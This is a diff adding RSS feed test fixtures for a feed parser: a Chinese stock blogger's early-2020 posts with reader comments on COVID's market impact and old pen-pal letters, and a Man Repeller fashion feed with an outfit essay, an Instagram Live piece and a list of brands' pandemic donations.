      我们有朋友今天去往印度的飞机上,但是下午印度驻华大使馆发布消息:持电子签证的不准入境,疫情关系着每一个人,可能谁都跑不了
      +
      +
      +
      +
      930
      +
      +
      作者
      +
      +
      +
      +
      我们全国各地有多么防着湖北出来的人,全世界各地就有多么防着中国出来的人,可以理解的。虽然名义上不是疫区,但实际上已经是了,后面就要靠我们自己努力从坑里面爬出来,希望天佑华夏呀。
      +
      +
      +
    • +
    • +
      +
      192
      + +
      +
      +
      上班族难得在家看股体验,我要好好珍惜。早点洗洗睡吧,duang~
      +
      +
      +
      +
      658
      +
      +
      作者
      +
      +
      +
      +
      其实我想说,散户一直盯着分时图看,不是一件好事,情绪会很受影响的,然后做出一些后悔的想扇自己耳光的操作。
      +
      +
      +
    • +
    • +
      +
      245
      + +
      +
      +
      如何加仓,掌握时机,在千股跌停的时候,也是赚钱的好时候,请教大屁股!富贵险中求,但一定要用数学大概率博。
      +
      +
      +
      +
      539
      +
      +
      作者
      +
      +
      +
      +
      我觉得还是抄指数基金最稳妥,个股不确定因素太大,可能你选到的股正好遇到一个机构爆仓强平,那就黑头了。而且就开盘那一下的剧烈波动,真跌停的不敢买,不跌停的价格跳太快。
      +
      +
      +
    • +
    • +
      +
      126
      + +
      +
      +
      GDP那块,会不会又偷偷拎尿壶出来。
      +
      +
      +
      +
      515
      +
      +
      作者
      +
      +
      +
      +
      不会,这个时候靠房地产根本没乱用,这次最死的是第三产业,很多小微商户真的死伤惨重,这个时候搞基建刺激都没用,政府就应该对小微企业进行政策扶持,补贴或者减税。
      +
      +
      +
    • +
    • +
      +
      212
      + +
      +
      +
      特斯拉相关概念股肯定好于大盘
      +
      +
      +
      +
      461
      +
      +
      作者
      +
      +
      +
      +
      嗯,这个跌多了可以考虑优先关注,特斯拉是最近几天少数逆势上涨的美大盘股。
      +
      +
      +
    • +
    • +
      +
      117
      + +
      +
      +
      如果前景不乐观,指数基金是否也可以明天减仓做一个月为粒度的波段?
      +
      +
      +
      +
      459
      +
      +
      作者
      +
      +
      +
      +
      就问你一个问题,你觉得明天,和一个月后相比,疫情哪一个时间更严重,市场哪一个时间更恐慌?我觉得大概率一个月后会好起来,你要是觉得一个月后更严重,你明天开盘就清仓卖。
      +
      +
      +
    • +
    • +
      +
      181
      + +
      +
      +
      都想减仓,明天就不会给你机会了,给你按地板上!
      +
      +
      +
      +
      447
      +
      +
      作者
      +
      +
      +
      +
      你有股票你就自己按地板上卖,自己的账户自己负责,下定离手,别后悔就行。
      +
      +
      +
    • +
    • +
      +
      176
      + +
      +
      +
      名义上非疫区,实质上疫区,外贸出口和汽车感觉也得捶一下
      +
      +
      +
      +
      428
      +
      +
      作者
      +
      +
      +
      +
      外贸出口影响很大,汽车还好一些,我们汽车主要还是内需市场占大头。买车的需求是可以挤压转移的,过年不买,几个月后照样买,它不像餐饮和电影娱乐,过去了就真的过去了。
      +
      +
      +
    • +
    • +
      +
      165
      + +
      +
      +
      我这么理解是否逻辑合理,之前大家都恐慌,现在开盘前一天各大v都说准备明天抄底,小散跟风抄底或者不卖,节前重仓的大户借反弹逃命,留小散傻眼……
      +
      +
      +
      +
      351
      +
      +
      作者
      +
      +
      +
      +
      你想多了,明天弹不了多高,如果真弹到-3%以内,你们是可以考虑趁机卖点。
      +
      +
      +
    • +
    • +
      +
      332
      + +
      +
      +
      duang,duang 炒股就是谈恋爱,有蜜月期,也有翻脸的时候,但日子还得过,一生挺短的,且行且珍惜吧。
      +
      +
      +
      +
      200
      +
      +
      作者
      +
      +
      +
      +
      今晚你上去敲吧,大家早些休息,明早备战哟
      +
      +
      +
    • +
    • +
      +
      169
      + +
      +
      +
      第二个看。给大家很多信心。半导体ETF有操作指南么。
      +
      +
      +
      +
      304
      +
      +
      作者
      +
      +
      +
      +
      它明天大概率也是暴跌,但我觉得会是跑赢大盘的板块之一。
      +
      +
      +
    • +
    • +
      +
      182
      + +
      +
      +
      院线很惨是肯定的了,不知内容公司会不会好点?
      +
      +
      +
      +
      299
      +
      +
      作者
      +
      +
      +
      +
      院线是全年的生意,影响1-2个月,还有10个月,做内容的一年一般就一两部大片上映,被这么搞一下,影响更大。
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    +
    + + 哈哈,尬的我头皮发麻 -20200201 + http://www.gushequ.com/2020/02/%e5%93%88%e5%93%88%ef%bc%8c%e5%b0%ac%e7%9a%84%e6%88%91%e5%a4%b4%e7%9a%ae%e5%8f%91%e9%ba%bb-20200201/ + Wed, 26 Feb 2020 08:55:34 +0000 + + + + http://www.gushequ.com/?p=7486 + + +
    +
    +
    +

    今天在家里实在无聊,想起个事,把自己青春时期保存下来的书信又拿出来翻了一下,前前后后看了一个多小时,哈哈,那感觉简直了,差不多每看5分钟我就会起一身的鸡皮疙瘩,有几次实在看不下去,燥的我忍不住捂住了通红的老脸

    +

    奔四大叔感觉又一次少年附体。

    +

    书信大部分都是1998-2001年期间的,我正好念高中,特别流行交笔友(异性),你要是每个月没几次与陌生人之间的书信来往,就不够潮…

    +

    当时恰逢互联网刚兴起,qq还没普及,大家都是在公共聊天室里尬聊、碰头,有时瞎猫踩到死耗子搭上个妹子,就互相要了通信地址,回头就开始吭哧吭哧的书信连线。

    +

    那时候流行各种各种彩色信纸,花花绿绿的,土嗨土嗨的,信纸还要折成各种特殊的形状,比如,比如纸鹤,就特别流行。

    +

    20200201-1

    +

    照片里显示的只是一部分,大概1/4都不到

    +

    信的开头第一句都是展信祝佳,我到现在也不明白为什么全国天南地北的网友都这么写,大概骚包青年们要先对一句切口,才能开始正常聊天。

    +

    至于信的内容…几乎都是尬聊,通篇看完,总结一下好像啥也没说,全是废话。最多就是讲讲学校里学习考试,如果彼此都有共同认识的人,再俏皮打趣几句。

    +

    其实真要透过这些文字,背后隐隐约约能感受到青春期陌生男女之间有一点点那种暧昧啦,直接说是说不出口的,只能暗暗的展示我是个很有意思的人哟,你快来喜欢我哟,类似这种感觉。

    +

    对不起,写到这我得去洗手间冲把脸,不然太烫了

    +

    哦对了,当时书信来往还有一个很重要的事情,就是会向对方要一张照片,“让我康康你长啥样”。我因为年轻时长的还蛮好看的,所以发照片还挺积极,然后对面妹纸也会回礼她们的照片,我整理的时候发现,好看的都还在,颜值一般的照片都找不到了。

    +

    呵呵,男人,从小就会看脸。

    +

    虽然都是收到的书信,但顺着这些侧面的文字,渐渐也开始回忆起年轻时的自己,用现在的眼光看,当时的自己…自命不凡又没啥实力,情商低,情绪很容易极端化,总是会轻易的大喜或者大悲,因此给自己和身边的人都添了不少麻烦。

    +

    我以前总结过,一个人从婴儿落地,到逐渐成年老去,就是一个不断学习控制自己情绪的过程。孩童时期总是很容易就歇斯底里,如今则心平气和、功名利深藏,高中时期的我,正好是这两者间的过渡期。

    +

    最后…我随手拍了几张,前方高能预警。

    +

    20200201-2

    +

    风一样的男子

    +

    20200201-3

    +

    my handsome boy真是尬的我头皮发麻。

    +

    写信的妹纸因为署名过于龙飞凤舞,她的handsome boy已经想不起她是谁了…

    +

    你们可能有人会好奇,书信写了这么多,有撩上的吗?

    +

    很遗憾,一个都没有,有80%以上看过照片就不联系了,剩下的20%只靠一周三四页的信纸能建立啥感情,这事就不靠谱,唯一的作用就是侧面记录一下青春,以供中年大叔缅怀一下青村滴味道。

    +

    明天是长假的最后一天,诸位好好珍惜,明晚的夜报会正式恢复常态。

    +
    +
    +
    +
    +
    +
    阅读 10万+
    +
    +

    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      414
      + +
      +
      +
      你写的字像女生
      +
      +
      +
      +
      4952
      +
      +
      作者
      +
      +
      +
      +
      你啥阅读理解啊,我的信都是寄出去的,这里都是我收到的。
      +
      +
      +
    • +
    • +
      +
      757
      + +
      +
      +
      作为这么大v,国难当头不曝红十字会。责任担当在哪
      +
      +
      +
      +
      4474
      +
      +
      作者
      +
      +
      +
      +
      我查了一下,红十字会是国务院直接下属单位,另外查了一下它的会长,觉得还是留给有监督权的媒体来爆料,这个重担我挑不起来呀哥们,你别太看得起我。
      +
      +
      +
    • +
    • +
      +
      1318
      + +
      +
      +
      最近做了和大屁股一样的事,翻出一些旧书信,差点妻离子散….
      +
      +
      +
      +
      2592
      +
      +
      作者
      +
      +
      +
      +
      妈咧,已经有人给小金鸡告状,刚才视频过来喷了我一顿
      +
      +
      +
    • +
    • +
      +
      205
      + +
      +
      +
      还是有点用,锻炼了写夜报的能力。
      +
      +
      +
      +
      1126
      +
      +
      作者
      +
      +
      +
      +
      你是认真的吗?我可以用这种语气和你们聊天,dear friend,珍惜我们的缘分,每天一写夜报就开始想你们,能寄几张帅照来让我观瞻一下吗,你最好的朋友:bullcat
      +
      +
      +
    • +
    • +
      +
      306
      + +
      +
      +
      都是字好看的女生。你居然是handsome boy?
      +
      +
      +
      +
      1098
      +
      +
      作者
      +
      +
      +
      +
      大叔我现在颜值已经严重滑坡,当年真的还可以,我就说个事吧,我坐网吧上网,结果就有好多学妹找网管打听我的信息,给我寄信,真的不吹牛。
      +
      +
      +
    • +
    • +
      +
      228
      + +
      +
      +
      哈哈,想起了我当时最多一次a4正反5张纸,
      +
      +
      +
      +
      1045
      +
      +
      作者
      +
      +
      +
      +
      啊是吗,写信不用专门的信纸,用办公的a4纸,在我们骚包青年的圈子里,是鄙视链的最底层,基本交不到朋友的。
      +
      +
      +
    • +
    • +
      +
      247
      + +
      +
      +
      我也有好多这样的书信留着,没舍得丢,现在想想青春就这么过去了
      +
      +
      +
      +
      911
      +
      +
      作者
      +
      +
      +
      +
      是啊,一般都是放在老家存着,带北京去就是给老婆上眼药,简直是欠揍。
      +
      +
      +
    • +
    • +
      +
      231
      + +
      +
      +
      哈哈哈,也就那个时代才有这样的书信
      +
      +
      +
      +
      762
      +
      +
      作者
      +
      +
      +
      +
      现在小年轻都是手机,微信qq直接嗖嗖嗖,不会再有人写信了。那种从邮箱里拿到信,拆出来的感觉,他们不懂了。
      +
      +
      +
    • +
    • +
      +
      241
      + +
      +
      +
      好骚包的信……我也写过
      +
      +
      +
      +
      696
      +
      +
      作者
      +
      +
      +
      +
      你们敢不敢说出自己的第一个网名??据说这是现在最勇敢的事,我不行,我怕说出来被你们笑死,公众形象崩盘。
      +
      +
      +
    • +
    • +
      +
      215
      + +
      +
      +
      影响来了,西部某航空公司,航班量减少40%,工资少40%,强制轮休,不让年休,主要是以前飞机增多航班增加也没涨,现在一个月少上不了几个班(工作量并没变化多少)就要少40%工资
      +
      +
      +
      +
      564
      +
      +
      作者
      +
      +
      +
      +
      只能说共度时艰了,今天看到西贝莜面村的老板说,他们的现金流只够支撑3个月,员工每个月要发1.5亿的工资。
      +
      +
      +
    • +
    • +
      +
      202
      + +
      +
      +
      感谢有你! 写信撩妹,我还真撩到一个隔壁城市的,说来找我,害两天不敢回家,在网吧通宵一宿,在朋友家呆一天!真刺激……
      +
      +
      +
      +
      511
      +
      +
      作者
      +
      +
      +
      +
      找个尿黄的滋醒你,有糖尿病的不要,美的你。
      +
      +
      +
    • +
    • +
      +
      135
      + +
      +
      +
      怎么没有总结一下昨天的打赏情况呀?
      +
      +
      +
      +
      432
      +
      +
      作者
      +
      +
      +
      +
      刚看了一下,已经6万+人了,谢谢谢谢,承蒙诸位老板厚爱,荣幸之至。
      +
      +
      +
    • +
    • +
      +
      132
      + +
      +
      +
      大屁股去过搜狐菁菁校园聊天室吗?
      +
      +
      +
      +
      404
      +
      +
      作者
      +
      +
      +
      +
      我当时去的都是网易163的同城聊天室,几百人在一个公共聊天频道聊,那嘈杂纷乱,那股土嗨的热闹劲,今天的网民们是不会懂的。
      +
      +
      +
    • +
    • +
      +
      259
      + +
      +
      +
      会不会写给你这几张的主人在这篇文章里看到了自己曾经写的对象就是牛猫呢
      +
      +
      +
      +
      378
      +
      +
      作者
      +
      +
      +
      +
      没准吧,按年纪算,孩子已经都小学三四年级了。但我估计就算信纸让她们看到了,很可能也想不起来是自己当初写的。
      +
      +
      +
    • +
    • +
      +
      219
      + +
      +
      +
      那时候还流行送贺卡,逢年过节互换各种各样的贺卡。青春呐
      +
      +
      +
      +
      356
      +
      +
      作者
      +
      +
      +
      +
      对,过年班上就是各种贺卡互换,我白天整理了一下,一张男同学的贺卡都没有,我都忘记是男同学之间不送,还是送了都被我扔了。
      +
      +
      +
    • +
    • +
      +
      148
      + +
      +
      +
      有哪个笔友你是见过的?得手的?被吓到的?分享分享感受……
      +
      +
      +
      +
      312
      +
      +
      作者
      +
      +
      +
      +
      没有笔友奔现,那时候还读高中,也没什么钱出门旅游,也就书信聊聊,你想多了。
      +
      +
      +
    • +
    • +
      +
      138
      + +
      +
      +
      果然很闲,夜报也早了好多,我也要Duang,晚安!
      +
      +
      +
      +
      138
      +
      +
      作者
      +
      +
      +
      +
      来,今晚你上去敲,大家早些休息吧,没几天好浪了。
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/well/http-www-manrepeller-com-feed.xml b/tests/feedlib/testdata/parser/well/http-www-manrepeller-com-feed.xml new file mode 100644 index 0000000..726c8c6 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/http-www-manrepeller-com-feed.xml @@ -0,0 +1,681 @@ + + + + + Man Repeller + + https://www.manrepeller.com + + Mon, 06 Apr 2020 13:09:44 +0000 + en-US + + hourly + + 1 + https://wordpress.org/?v=5.3.2 + + The Outfit Anatomy of Author, Activist, and Covid-19 Survivor, Jodie Patterson + https://www.manrepeller.com/2020/04/outfit-anatomy-jodie-patterson.html + https://www.manrepeller.com/2020/04/outfit-anatomy-jodie-patterson.html#respond + Mon, 06 Apr 2020 13:00:34 +0000 + + + + https://www.manrepeller.com/?p=206755 + Welcome to Outfit Anatomy, a series of comprehensive style analyses that aim to break down the mechanics of why we wear what we wear. Up this week is author and activist, Jodie Patterson. When I was getting dressed for this story last month, I wanted to be comfortable. I had to take the subway from […]

    +

    The post The Outfit Anatomy of Author, Activist, and Covid-19 Survivor, Jodie Patterson appeared first on Man Repeller.

    +]]>
    + Welcome to Outfit Anatomy, a series of comprehensive style analyses that aim to break down the mechanics of why we wear what we wear. Up this week is author and activist, Jodie Patterson.

    +
    +

    When I was getting dressed for this story last month, I wanted to be comfortable. I had to take the subway from Brooklyn to your office in Soho and it was raining. I’d been on a few Human Rights Campaign board calls that morning and I did a dress rehearsal for a stage performance I was in called In Love and Struggle.

    +

    Mostly I wanted to be strong. I was conjuring masculine and feminine vibes—figure old-world glamour with rude-boy confidence. But that day feels like a million minutes ago. I know the routine well, I’ve done it so many times—running from here-to-there, work-to-kids-to-work again, the A-train to the city and back to Brooklyn. And even though it was last month, it feels far enough away that I can’t exactly taste it anymore.

    +

    +

    I know this is hard to say and to hear, especially because I know people who haven’t survived this pandemic—I am one of the lucky few who have—but I respect this time. There is so much loss. And I feel the loss. Yet I can see how something like this was a long time coming. The earth is a living, breathing thing and we haven’t really respected that. Now the earth is saying: stop, think about what you’ve done and come back with a new plan of action. I’m trying to take a step back to think about my actions.

    +

    Before I got sick with the virus, I was on four planes, a bus, a train, and three stages—not including three televised appearances. So much of that modus operandi is now under question—should anyone really travel that much? How many things do we really have to do in a single day? It now seems to me unnatural and unsafe. I’m trying to rethink the way I’ll work going forward.

    +

    I got sick in Vegas. I arrived there on March 3rd for work but by March 5th, I couldn’t get out of bed. My symptoms where a migraine, body pains, and chills darting down my back. I could barely walk down the stairs at my hotel to get in a cab to go to the hospital, but I made it to one on the 5th and tested positive for COVID-19 there. They quarantined me in the hospital for two weeks and in those weeks, I was relocated twice to two separate hospitals.

    +

    Even after my symptoms subsided, I couldn’t (and wouldn’t) travel home. It was hard to not have family around. I relied on one caring nurse who reminded me that it only takes one person to extend a hand and to act humanely—to shift a situation from bad (but still not the worst) to better.

    +
    +

    I bet we’re all rethinking things. The term “superpower” has been on my mind lately. What does it really mean? What makes us strong? I keep asking myself: Are our systems—those for our families, our businesses, our country—strong enough to withstand COVID-19 or any “virus” for that matter?

    +

    And then there’s this big breakthrough, right? We’re debunking the myth that real work happens in an office. But now, we’re seeing it happen whenever and wherever dedicated people are. Period. Activism is real work. Our nurses, mail deliverers, food suppliers, and grocery story folks—they’re the heroes of today. They’re keeping hope alive.

    +
    +

    My jacket is by Zac Posen. It’s hand-embroidered—he gave it to me when I was his director of PR over 10 years ago. It was way out of my budget, maybe a thousand dollars. I can’t recall.

    +

    +

    The pants are from my favorite shop, No. 6 Store. I bought them because they make me look really tall. There is no zipper, they pull on and pull off. They’re also oversized and have good form so I feel larger than life in them. I’m pretty sure the shop is closed right now, but have been thinking about ways to support my favorite small brands from a distance.

    +

    The hat was hand-knitted in 2001 by an old friend and phenomenal singer, Martin Luther. I love that it’s gray. It’s like a neutral slate that complements any mood or outfit. The color equivalent of jeans. And the knit makes the hat flexible so it works with any of my hairstyles.

    +

    Martin and I basically grew up together during college. He was at Morehouse and I was at Spelman. He made one of the hats for me and one for my daughter—my first of my five children, who was two at the time.

    +

    I’ve had it through 18 homes, nine careers, two marriages, five children and tons of friendships. It’s legendary and loyal. It feels right every time I put it on. It also has a way of making me feel young-at-heart and down-for-whatever. Which is exactly how I want to be right now. Don’t we all?

    +

    The world is always heavy but especially right now. I’m proud to be an anchor for my family, community, and business and am called more specifically to stand in this role in these days, but honestly, some days, I just want to fly up and over it all. Young people, I find, can fly over stuff more seamlessly because they’re not as defined by stuff yet.

    +

    But it’s not binary. On other days, I want to “starfish” as I call it—stretch out and touch the world.

    +

    And then on a day like today, in the wake of the outbreak, being “down for whatever” takes on a different meaning. I’ve been asking myself: Are you down for what this moment takes? Can you mother your kids and still be present from miles apart?

    +

    My three young boys (ages 14, 12, 11) are out of the city with their dad. (They usually go between my house and dad’s house but under the current circumstance I haven’t seen them in over a month.) My daughter, who is 28, lives in Switzerland, in Zurich, on her own. It seems I won’t see her for until after the summer—and my oldest son (he’s 20) lives on his own in Brooklyn. We speak very often.

    +

    I stay up at night thinking: If it comes down to it, how do I make my way back to my kids? How do we gather back together as a family and stay together? Are you warrior enough, Jodie, to make it back? If shit ticked up to the next level, could I handle it?

    +

    I think to really handle what’s ahead of us, we’ll need to combine wisdom and a sort of naive, young-at-heart fearlessness.

    +
    +

    18 homes is a lot, I know. I like movement. I like change. I like design. But I guess the bigger truth is that I myself am constantly in motion, or at least used to be, and seem to use moving to refresh myself and let major shifts take place every few years.

    +

    As far as my careers, well, I’m a co-owner of Joe’s Pub. I worked closely with my ex-husband, Serge Becker, the brain behind the pub to bring on live performers like Alicia Keys, Max Roach, and Quest Love and DJs like Mark Ronson. That was 20 years ago.

    +

    I was the Fashion Director of sales at VIBE (I was horrible at that!). And I ran my own PR firm for years. We had clients like Nike, Lincoln Center, and Cedella Marley. Now I call myself a writer—I have a memoir out called A Bold World and one coming out soon called Think Like a Mother: The Architect of Parenting—and social activist. Most of the work I do is around LGBTQ awareness and protection.

    +

    My eyes are pretty naturally seeing the injustices. The divisions in America and in the world have been clear to me, but I think they’re becoming even more clear—the lines drawn between races and economic groups are deeper than ever. I hear a lot of people saying that COVID-19 doesn’t discriminate and it’s true that the virus doesn’t, but which communities will rise or fall as a result of this? We do have the power to collectively and quickly rewrite the story of The Other and frame it as “We.” I really believe that.

    +
    +

    In quarantine, I’ve been FaceTiming with my kids and the HRC board members—my extended family—to keep me sane. I’ve been cooking, cleaning, writing, stretching, and running to stay grounded, and I’ve been listening to music, trimming my puppy, and thinking about the day I’ll get dressed again to keep me smiling.

    +

    Everything I wear reminds me of people. My hat reminds me of Martin (and honestly, Bob Marley too). My jacket reminds me of Zac Posen. My pants remind me of my father, my uncle and my grandfather—all the gentlemen who came up around the turn of the century through the mid-1900s in Harlem and down south.

    +

    +

    And let me tell you, the men in my family were revolutionaries! My dad opened the first black brokerage firm on Wall Street. My uncle was the singer Gil Scott Heron who wrote “The Revolution Won’t Be Televised.” My grandfather was their dad. To listen to them speak on economics, politics, and family dynamics was mesmerizing. And they all happened to be very handsome.

    +

    I haven’t really been thinking about shopping since the coronavirus outbreak. Not toilet paper, not bags of rice I don’t need. I’m not consuming much at all—just what I need. I’ve been thinking mostly about health, togetherness, soulful music, and maintaining stability. But once in a while, when I’m feeling light, I’ve popped on my favorite fashion and travel sites (Architectural Digest, Nat Geo Traveler, Clare V., No. 6.,) and daydreamed about ‘tomorrow.’ The places to which I’ll travel and the things I will wear to go see those places.

    +
    +

    After coming home from Las Vegas, I took a week at home to be still. I moved from room to room in my house but didn’t interact with the outside world. During that time and even still now, I try to be intentional about what I put on, how I care for my skin, my hair, what goes in my mouth. What I listen to and what I read. I’m going to be home for a long time, like so many of us, but still, I dress. I don’t have to. None of us do, but it reminds me that “the day has begun.” In some way it reminds me that even in the wake of loss and sadness, life itself is still enough. As told to Leandra Medine.

    +

    Photos by Sabrina Santiago; Photo Assistant: Beth Sacca.

    +

    The post The Outfit Anatomy of Author, Activist, and Covid-19 Survivor, Jodie Patterson appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/outfit-anatomy-jodie-patterson.html/feed + 0 +
    + + A Weird Thing I Did: I Challenged Myself To Watch As Many Instagram Lives As Possible + https://www.manrepeller.com/2020/04/instagram-live-is-the-new-normal.html + https://www.manrepeller.com/2020/04/instagram-live-is-the-new-normal.html#respond + Mon, 06 Apr 2020 12:00:54 +0000 + + + + https://www.manrepeller.com/?p=206407 + Since its inception, I have had a natural resistance to Instagram Live. On principle, I don’t like a genre of entertainment that preys on my passivity. While I’m already-quite-passively scrolling on the app, a notification pops up to tell me “@jigsawpuzzle86 is live,” appealing to my curiosity and prompting a knee-jerk reaction to join. I […]

    +

    The post A Weird Thing I Did: I Challenged Myself To Watch As Many Instagram Lives As Possible appeared first on Man Repeller.

    +]]>
    + Since its inception, I have had a natural resistance to Instagram Live. On principle, I don’t like a genre of entertainment that preys on my passivity. While I’m already-quite-passively scrolling on the app, a notification pops up to tell me “@jigsawpuzzle86 is live,” appealing to my curiosity and prompting a knee-jerk reaction to join. I have tried to avoid succumbing to this impulse as best as possible.

    + +

    +

    That’s why I found it surprising when, the other Sunday, I estimated how many Instagram Lives I had watched over the weekend. My guess: four. Then I counted: more like 17. I hadn’t hung around for long in most of them, just wanting a glimpse of the action. After that night, I turned it into a game: How many could I hop into in a day?

    +

    The experience of opting into an Instagram Live has that grab-bag quality I hadn’t encountered since fooling around on Chatroulette with friends almost 10 years ago. I never know quite what to expect or what’s in store until I’ve committed my handle, my name, to it. It feels a little like jumping into cold water, holding your breath for a second and then buoying back up to the surface, completely visible, all lurky voyeurism or celebrity reverence or boredom revealed when it says, “@edithwyoung joined.” You never know how many people are inside until you’ve entered, of course, and there’s no virtual between-a-rock-and-a-hard-place quite like a Live where you’re unwittingly one of only five spectators. It’s a surreal sensation, crossing the threshold and entering these Lives (literally—entering someone’s life). The irony is not lost on me that a feature called Instagram Live has skyrocketed in popularity, functioning as a substitute to in-person programming, while our mortality swims in the forefront of our minds.

    +

    +

    Here’s what I’ve seen: Cat Cohen’s Club Cumming show translated to this new medium until my phone ran out of battery — infusing even its most banal, hiccupy moments with humor as Cat troubleshoots technical difficulties, trying to add guests to the stream but filibustering in a sing-songy voice. Something-of-a-beauty-influencer, a person I’ve never met but follow, going through her beauty cabinet and talking about a Byredo perfume. My uncle playing a song on his guitar, very far away. A writer named Laura Lane reading her work aloud as part of McSweeney’s Issue 59 virtual release party. Cat Cohen, again, talking with Scott Rogowsky of HQ fame, discussing Gossip Girl, which Cohen calls “a show about knowing about hotels.”

    +

    Playwright of Slave Play Jeremy O’Harris and SNL’s Chloe Fineman shooting the shit on The Cut’s account, talking about Bode pants, mini-trampolines, and the London Airbnb where O’Harris is staying. Nicholas Braun (Cousin Greg) and Christopher Mintz-Plasse (McLovin) in conversation with a shirtless guy lifting weights who’s waiting for his “quarantine cutie” to stop by. The tail end of Kiernan Shipka catching up with a co-star of hers, I think—he has about three million followers. Emma Roberts and Karah Preiss talking about what they’re reading on the Belletrist account. Zibby Owens (of the podcast “Moms Don’t Have Time To Read”) and her partner, interviewing a writer and their partner, I assume. A comedian I think I like talking to a recently controversial comedian. Jen Gotch and Busy Philipps in cahoots just before the pub date of Jen’s new book. One of Busy’s daughters reads a few lines out loud from a galley, after which she and her mom leave the chat for bedtime and Jen shows the remaining audience her recently renovated bathroom.

    +

    Wine editor Marissa Ross hosting a Q&A where I submit a question, and then discover why this is a tactically wise format for audience engagement: It encourages followers to stay in the Live much longer than they usually might, to see if their question gets answered (mine—asking which natural wine I should buy from Primal Wine or Wine Therapy—goes unanswered but I stick around for a good long while, waiting). Three different fitness classes: one by Forward Space, another by Indigo Fitness, and a third by Sky Ting Yoga, though I don’t actually do the workouts. The last gasps of John Mayer and Cazzie David theorizing on relationships post-pandemic on Mayer’s recurring Sunday night Instagram show, Current Mood. Nearly everyone I watch is in L.A., because I guess that’s showbiz, baby. At some point, the Instagram Live challenge I’ve set up for myself starts to feel like a game of whack-a-mole, where I am all five moles.

    +

    The allure of the feature is clear: as an unscripted event unfolding in real-time, it breaks down another wall of transparency in the Instagram universe, as authenticity-obsessed as it is authenticity-deprived. Will the novelty of this mode-of-connection, which sinisterly required a global pandemic to take off, wear off? And if so, when will we fatigue of Instagram Live? Has it happened already?

    +

    Graphics by Lorenza Centi.

    +

    The post A Weird Thing I Did: I Challenged Myself To Watch As Many Instagram Lives As Possible appeared first on Man Repeller.

    +]]>
    + https://www.manrepeller.com/2020/04/instagram-live-is-the-new-normal.html/feed + 0 +
    + + A Running List of Fashion Brands Making Donations, Offering Discounts, Trying to Survive Right Now + https://www.manrepeller.com/2020/04/fashion-brands-donations-discounts.html + https://www.manrepeller.com/2020/04/fashion-brands-donations-discounts.html#comments + Fri, 03 Apr 2020 18:45:20 +0000 + + + + https://www.manrepeller.com/?p=206869 + At the intersection of a conflict that finds us wondering how to responsibly support the brands—both big and small—that have often supported us through the philosophical mechanisms of empowerment, expression, community, inspiration, and so forth, resides a gigantic question mark that seems only to get bigger as the weeks proceed, the quarantine persists, and the […]

    +

    The post A Running List of Fashion Brands Making Donations, Offering Discounts, Trying to Survive Right Now appeared first on Man Repeller.

    +]]>
    + At the intersection of a conflict that finds us wondering how to responsibly support the brands—both big and small—that have often supported us through the philosophical mechanisms of empowerment, expression, community, inspiration, and so forth, resides a gigantic question mark that seems only to get bigger as the weeks proceed, the quarantine persists, and the pandemic grows more catastrophic. The schools of thought tethered to this conflict are many ranging from those that encourage conscious consumption from the small businesses you like (if you can) to those that reinforce the risk at which we put the various hands that must touch the product in order to get it from brand to you. 

    +

    I don’t know what the correct response is, but I do know that I care to support, sustain (even celebrate) the labels that have been there for me when I’ve needed them. This doesn’t have to mean commerce, as Harling aptly pointed out in an e-mail conversation we recently published, “Small things add up. Engagement/community/awareness is a form of value, even if it’s not as tangible as money in the bank. It still matters, especially because it can have a cumulative effect.” It also does not supersede the urgency with which we can all donate something.

    +

    And thus, a good thing, I think, that we can do right now is to make you aware of which brands are doing what to support who (be it an organization or themselves) and how. Below you’ll find a list of designers, which we will be updating in real time, with links to their sites and brief summaries of their efforts. Do with this information whatever you want and above all else, stay safe.

    +

    —Leandra

    +
    +

    Brands contributing to relief efforts

    +

    Rosie Assoulin – Everything on the site is 20% off, and if you email the team when you receive your order confirmation, they will donate 15% of your purchase to a charity of your choice.
    +Tibi – An online sample sale at up to 80% off. The Tibi warehouse has also set aside 1,000 pieces for you to nominate a worker to which you’d like to send an outfit by tagging @tibi on Instagram or completing the form here.
    +RIXO – Donating 10% of profits from rixo.co.uk to Age UK; Next week RIXO will be launching a ‘Stay at Home’ T-shirt, of which 50% profits will go to NHS Charities COVID-19 Urgent Appeal.
    +Monogram – Use Code “Together” at checkout for 25% off + donating 10% of sales to Feeding America.
    +Emily Levine
    – 10% of sales will be donated to the hospital of Bergamo, Papa Giovanni XX.
    +Live The Process – 20% of proceeds will go to Food Bank NYC to support local communities and ensure access to food for so many in need. Every $1 provides five meals.
    +Tanya Taylor – Creating 5,000 non-medical grade masks for distribution to NYC hospitals. 100% of site donations will go directly to the creation and distribution of more masks. Website archive sale with styles up to 60% off and with every purchase made, they will produce and donate 5 more masks.
    +Viva Aviva – 20% of all online sales will be donated to Food Bank NYC.
    +SVNR – Donating 50% of web sales to Meals on Wheels to provide food for the elderly.
    +NST Studio – 20% of all proceeds from each purchase are being donated to Covid-19 Charities plus up to 35% off select styles.
    +Khaite – Stay at Home Sale, save 40% on select styles. Khaite is also donating $10,000 to the nonprofit organization Baby2Baby, which is on the ground providing essential items to children and families impacted by the COVID-19 pandemic. Additionally, for the next 30 days, Khaite will donate 10% of khaite.com sales to Baby2Baby.
    +Staud – 10% of proceeds from each purchase are being donated to Meals on Wheels plus 25% off site-wide with code THANKYOU25.
    +Brinker & Eliza – Donating 10% of the profits from all purchases to the Domestic Workers Coronavirus Care Fund plus receive 15% off site-wide until 4/30 with the code ‘OneLove.’
    +The Nue Co. – Donating 30% of all sales (inclusive of their 600% increase in immunity-boosting products) to Hospitality in Action in the UK and direct donations to small businesses in NYC on a rotating basis.
    +Pamela Love – The designer is making jewelry from home out of polymer and selling them with 100% of the proceeds going No Kid Hungry.
    +Entireworld – 10% of all sales will go to Doctors Without Borders through April 6th.
    +Donni – Donating 15% of all proceeds to LA Food Bank, which distributes food and other essential items to children, seniors and families in need.
    +AGL – Donating 30% of online sales to support the medical staff in the region of Marche where the company has its headquarters and factory.
    +Sleeper – For the entire month of April, the brand’s blue merchandise will be 40% off, and 20% of those sales will be donated to civic organization Happy Today.
    +Koio – 35% off merchandise sample sale. A percentage of sales will go to the Red Cross and Food Bank NYC (details here).
    +Linda Farrow – 10% of online sales from a curation on their site will go to the COVID-19 Urgent Appeal for the months of March and April.
